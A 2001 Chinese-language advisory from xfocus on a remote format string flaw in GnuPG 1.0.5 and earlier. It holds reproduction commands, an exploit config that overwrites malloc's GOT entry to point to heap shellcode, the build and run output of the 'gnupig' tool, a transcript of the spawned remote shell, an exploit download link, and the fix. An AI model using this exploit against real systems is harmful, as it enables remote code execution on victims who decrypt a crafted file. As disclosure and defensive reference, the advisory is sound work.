xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

GnuPG 存在远程格式化字符串漏洞


发布时间:2001-05-30
更新时间:2001-05-30
严重程度:
威胁程度:普通用户访问权限
错误类型:输入验证错误
利用方式:客户机模式

受影响系统
GnuPG <= 1.0.5
详细描述
GnuPG是一个很流行的代替PGP的加密程序,你可以在(http://www.gnupg.org/
找到更多信息,不过其中存在一个格式化字符串漏洞可以导致远程溢出。问题
存在于函数'do_get'中代码util/ttyio.c,这里有一个'tty_printf'调用存在格式化字符串漏洞:
> tty_printf( prompt );
如果gpg尝试解密没有以".gpg"结尾的文件,那么这个文件将会要求用户
输入,用户可以提供格式化字符串导致问题产生。

1,建立如下合法的格式化字符串作为文件名:
  $ echo "hello, how are you friend?" > %8x_%8x_%8x
2,加密这个文件:
$ gpg -r fish@analog.org -e %8x_%8x_%8x
  gpg: this cipher algorithm is depreciated; please use a more standard one!


  $ ls %8x_%8x_%8x*
  %8x_%8x_%8x %8x_%8x_%8x.gpg
3,gpg会把".gpg"后缀加到新加密文件中,你把它变为其他名字:

$ mv %8x_%8x_%8x.gpg %8x_%8x_%8x.el8
4,现在尝试解密:
$ gpg %8x_%8x_%8x.el8


  You need a passphrase to unlock the secret key for
  user: "fish stiqz (bleh) <fish@analog.org>"
  1024-bit ELG-E key, ID D31DF63D, created 2001-05-24 (main key ID 5ABD075F)


  gpg: %8x_%8x_%8x.el8: unknown suffix
  Enter new filename [ 80af5d9_ 80cefb8_ 80af5ca]:
注意上面%8x被扩展了,实际名字不是我们的格式化字符,最原始
的名字其实是作为加密数据的一部分在文件中的,所以你可以
修改任意名字。

$ mv %8x_%8x_%8x.el8 README.TXT
  $ gpg README.TXT


  You need a passphrase to unlock the secret key for
  user: "fish stiqz (bleh) <fish@analog.org>"
  1024-bit ELG-E key, ID D31DF63D, created 2001-05-24 (main key ID 5ABD075F)


  gpg: README.TXT: unknown suffix
  Enter new filename [ 80af5d9_ 80cefb0_ 80af5ca]:

上面是简单解释了原理,但是对于远程攻击要判断被加密的
文件类型,远程环境的大小,libc映射的位置等,造成其
攻击的难度。下面是我们的思路:

第一,由于是远程攻击,我们只有2种方法把数据喂给gpg,1)
通过文件名2)通过在文件中的加密数据,第一种看起来更简单,
所以我使用第一种。

第二,由于限制了文件名大小,如系统LINUX只允许255字节,我们需要
短的格式化字符和更小的SHELLCODE,格式化字符和SHELLCODE的组合会
放在堆栈中,在有漏洞调用前,提示的(prompt)将在heap区建立,而格式化
字符将被拷贝进去,在文件数据中的文件名(我们的格式化字符和SHELLCODE的组合)也会拷贝到HEAP区,这样就允许两个不同位置防止远程SHELLCODE,第一个位置是通过iscntrl()建立的,所有0x00-0x1f和0x7f之间的字符将被过滤,但我对第一
个位置比较感兴趣,所以我选择了第一个位置放置远程SHELLCODE。

测试代码
(overwrite the GOT entry of malloc() to point to the shellcode on the heap)


(from config.h in the exploit)


/* <FIXME> */


/* location of the *local* copy of gpg, used to encrypt the file */
#define DEFAULT_GPG_PATH "/usr/local/bin/gpg"


/* contents appended to the format string, or NULL if you want to skip it */
#define APPEND lnx_i386_remote_shellcode


/* only needed if appending APPEND is defined, NULL if you wanna skip */
#define ARCHNOP "\x90"


/* the overwrites (most definitely needed) */
short_write_t short_array[] =
{
    /* overwrite 0x080c9dc4 (GOT of malloc) with 0x080cca60 (shellcode) */
    { 0xca60, 0x080c9dc4 + 0 },
    { 0x080c, 0x080c9dc4 + 2 },
    { 0, 0 }
};


/* </FIXME> */



Make the backdoored file:


  $ make clean && make
  rm -f *~ *.o gnupig
  gcc -Wall -O2 -g -c gnupig.c
  gcc -Wall -O2 -g -c common.c
  gcc -Wall -O2 -g -c file.c
  gcc -Wall -O2 -g -c shellcode.c
  gcc -Wall -O2 -g -c fmtstr.c
  gcc -Wall -O2 -g -o gnupig gnupig.o common.o file.o shellcode.o fmtstr.o


  $ ./gnupig -s -e 366 -a 4 -k fish@analog.org
  [0] shellcode passed.
  [1] running gpg to encrypt the dummy file.
  gpg: this cipher algorithm is depreciated; please use a more standard one!
  [2] created dummy file successfully.


用户运行gpg解密文件:


  $ gpg *.el8
  ...
  
Remote shell 派生:


  (in other terminal)
  $ telnet localhost 16705
  Trying 127.0.0.1...
  Connected to localhost.
  Escape character is '^]'.
  id;
  uid=1000(fish) gid=100(users)
  exit;
  Connection closed by foreign host.

下载EXPLOIT CODE:
http://archives.neohapsis.com/archives/bugtraq/2001-05/att-0281/01-gnupig.tar.gz

解决方案
解决方法:

> tty_printf( "%s", prompt );

或者下载最新的GnuPG (version 1.0.6):
http://www.gnupg.org/download.html

相关信息
Synnergy Networks (http://www.synnergy.net/)
By: fish stiqz <fish@synnergy.net>